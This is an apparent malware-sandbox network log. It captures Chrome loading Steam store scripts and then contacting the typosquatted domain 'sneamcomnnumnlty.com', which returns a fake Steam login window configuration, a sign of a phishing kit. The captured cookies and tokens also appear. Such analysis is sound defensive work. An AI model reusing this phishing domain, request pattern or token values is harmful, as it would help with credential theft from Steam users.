2024-10-06 12:08:23 UTC	15835	IN	Data Raw: 68 6c 69 73 74 43 6f 75 6e 74 28 20 64 61 74 61 2e 77 69 73 68 6c 69 73 74 43 6f 75 6e 74 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 Data Ascii: hlistCount( data.wishlistCount );if ( typeof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, div
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 72 50 72 65 66 65 72 65 6e 63 65 73 2c 20 73 74 72 50 61 63 6b 61 67 65 58 4d 4c 56 65 72 73 69 6f 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 73 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 65 72 6d 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 54 65 72 6d 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 20 3d 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 20 3f 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 29 20 3a 20 24 4a 28 27 23 73 65 61 72 63 68 74 65 72 6d 5f 6f 70 74 69 6f 6e 73 27 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 3d 20 65 6c 65 6d 53 Data Ascii: rPreferences, strPackageXMLVersion, elemSuggestionCtn, elemSuggestions ){var $Term = $JFromIDOrElement(elemTerm);var $SuggestionsCtn = elemSuggestionCtn ? $JFromIDOrElement(elemSuggestionCtn) : $J('#searchterm_options');var $Suggestions = elemS
2024-10-06 12:08:23 UTC	945	IN	Data Raw: 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 22 20 2b 20 73 41 64 64 54 6f 43 61 72 74 49 44 20 29 3b 0d 0a 09 6c 65 74 20 65 6c 55 70 64 61 74 65 42 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 62 74 6e 5f 71 75 61 6e 74 69 74 79 5f 75 70 64 61 74 65 5f 22 20 2b 20 73 49 64 53 75 66 66 69 78 20 29 3b 0d 0a 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 6c 65 74 20 73 51 74 79 20 3d 20 65 6c 46 69 65 6c 64 2e 76 61 6c 28 29 3b 0d 0a 09 09 6c 65 74 20 73 51 74 79 4d 61 78 20 3d 20 65 6c 46 69 65 6c 64 2e 61 74 74 72 28 20 27 6d 61 78 27 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 4d 61 78 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 4d 61 78 20 29 Data Ascii: ton = jQuery( "#" + sAddToCartID );let elUpdateButton = jQuery( "#btn_quantity_update_" + sIdSuffix );try{let sQty = elField.val();let sQtyMax = elField.attr( 'max' );let nQty = parseInt( sQty );let nQtyMax = parseInt( sQtyMax )
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: 00004000nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 68 28 20 66 75 6e 63 74 69 6f 0d 0a Data Ascii: h( functio
2024-10-06 12:08:23 UTC	7914	IN	Data Raw: 30 30 30 30 31 45 44 45 0d 0a 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f Data Ascii: 00001EDEn() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( $Scro
2024-10-06 12:08:23 UTC	12148	IN	Data Raw: 30 30 30 30 32 46 36 38 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 6d 61 79 20 62 65 20 28 74 6f 74 61 6c 6c 79 20 69 73 29 20 64 69 66 66 65 72 65 6e 74 20 69 6e 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 6f 64 65 0d 0a 43 47 65 6e 65 72 69 63 43 61 72 6f 75 73 65 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 70 6f 6e 73 69 76 65 41 64 76 61 6e 63 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6e 4e 65 77 49 6e 64 65 78 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 65 6c 54 61 72 67 65 74 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 70 61 72 65 6e 74 28 29 3b 0d 0a 09 76 61 72 20 6e 4d 61 78 53 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 2a 20 74 68 69 73 2e 6e 49 74 65 6d 73 20 2d 20 24 65 6c Data Ascii: 00002F68 function may be (totally is) different in responsive modeCGenericCarousel.prototype.ResponsiveAdvance = function( nNewIndex ){var $elTarget = this.$elItems.parent();var nMaxScroll = this.$elItems.outerWidth( true ) * this.nItems - $el
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49751	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	534	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	347	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=13620674 Expires: Thu, 13 Mar 2025 03:39:37 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Length: 2917 Connection: close
2024-10-06 12:08:23 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49752	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	418	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14197210 Expires: Wed, 19 Mar 2025 19:48:33 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:23 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
2024-10-06 12:08:23 UTC	15833	IN	Data Raw: 2e 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d Data Ascii: .append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 65 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f Data Ascii: ent .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_
2024-10-06 12:08:23 UTC	947	IN	Data Raw: 65 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 Data Ascii: eferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| def
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-06 12:08:23 UTC	914	IN	Data Raw: 30 30 30 30 30 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 00000386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 28 29 3b 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 20 3d 20 73 63 72 6f 6c 6c 4f 66 66 73 65 74 2e 74 6f 70 3b 0d 0a 09 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 20 73 63 72 6f 6c 6c 54 6f 70 20 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 43 41 6a 61 78 49 6e 66 69 6e 69 74 65 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 72 6f 6c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 53 63 72 6f 6c 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 74 68 69 73 2e 6d 5f 62 4c 6f 61 64 69 6e 67 20 29 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 0d 0a 09 76 61 72 20 69 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 Data Ascii: 00004000s();var scrollTop = scrollOffset.top;$J( "#" + this.m_strElementPrefix + '_scroll_top').val( scrollTop );};CAjaxInfiniteScrollingControls.prototype.OnScroll = function(){if ( this.m_bLoading )return;var iNow = new Date(
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 65 6e 74 3b 0d 0a 09 09 09 7d 0d 0a Data Ascii: ent;}
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0d 0a 0d 0a 09 09 09 5f 74 68 69 73 2e 6d 5f 66 6e 4f 6e 43 68 61 6e 67 65 28 20 5f 74 68 69 73 2e 6d 5f 6e 56 61 6c 75 65 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 7d 0d 0a 09 09 76 61 72 20 6e 49 6e 69 74 69 61 6c 50 6f 73 69 74 69 6f 6e 20 3d 20 70 61 72 73 65 49 6e 74 28 20 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 63 73 73 28 27 6c 65 66 74 27 29 20 29 3b 0d 0a 09 09 76 61 72 20 6e 53 74 61 72 74 44 72 61 67 58 20 3d 20 66 6e 47 65 74 50 61 67 65 58 28 20 65 76 65 6e 74 20 29 3b 0d 0a 0d 0a 09 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 2e 43 53 6c 69 64 65 72 20 74 6f 75 63 68 6d 6f 76 65 2e 43 53 6c 69 64 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 Data Ascii: 00004000_this.m_fnOnChange( _this.m_nValue, true );}var nInitialPosition = parseInt( _this.m_$Grabber.css('left') );var nStartDragX = fnGetPageX( event );$J(document).on( 'mousemove.CSlider touchmove.CSlider', function( event )

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49755	172.67.175.206	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	1191	OUT	GET /20412b512e0800535346655a1253775a57030805 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g; timezoneOffset=-14400,0
2024-10-06 12:08:23 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"11f-GuzUyofSnXgC+fPNW//u5KqcWi8" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q2UzwP62NVV1cd76lqnJtSinxNxFAJXpslj%2F2R1epWn3avLgHrrJKwifH59hOlbqQ6Q5HX%2FBSpwJwOqW9CtYbOHglR6YBWfZsbYhcNDanfyHjZz2mx4v1h14Jfpa5s%2BBdp4K3W%2Bs5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce5895c486c4291-EWR
2024-10-06 12:08:23 UTC	294	IN	Data Raw: 31 31 66 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 31 36 35 30 33 38 36 38 2e 32 34 39 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b Data Ascii: 